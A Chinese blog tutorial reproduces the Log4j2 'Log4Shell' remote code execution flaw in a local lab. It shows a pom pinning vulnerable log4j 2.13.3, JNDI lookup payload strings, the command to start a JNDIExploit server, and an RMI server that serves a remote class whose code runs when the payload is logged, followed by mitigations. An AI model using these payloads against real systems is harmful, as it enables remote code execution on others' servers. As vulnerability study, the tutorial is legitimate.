令无数程序员加班的 Log4j2 远程执行漏洞复现
前情提要
Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?
构建maven项目引入Log4j2
编写 pom 文件
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>Log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
编写测试代码
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class); public static void main(String[] args) { // 避免因为Java版本过高而无法触发此漏洞 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1 logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}"); } }
下载 JNDI 测试服务器
到 https://github.com/feihong-cs/JNDIExploit
或者
https://github.com/welk1n/JNDI-Injection-Exploit
下载 JNDIExploit 测试服务器
本次使用 JNDIExploit 举例
下载完成后使用
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
启动服务器
然后运行之前的Log4j2项目即可出现如图所示效果
加载运行自己的 class 类
编写 RMI服务器
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * @author Pu Zhiwei * create 2021-12-11 22:06 */ public class RMIServer { public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099!"); // 前两个参数为类名,第三个参数为远程类地址 Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("evil", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
编写测试类
public class Test { static { System.out.println("你好 Log4j2"); } }
然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器
python -m http.server 8080
修改 Log4j2 项目内容为
logger.error("${jndi:rmi://192.168.0.105:1099/evil}");
运行项目即可看到 Test 类已被执行
之后你就可以通过修改 Test 类实现更多操作。
如何防范
升级 Log4j2 到最新版本
使用最新版 JDK
临时解决方案:
-
设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
-
在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true
-
设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”
END
本文首发于 https://www.buguagaoshu.com/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian
转载请注明来源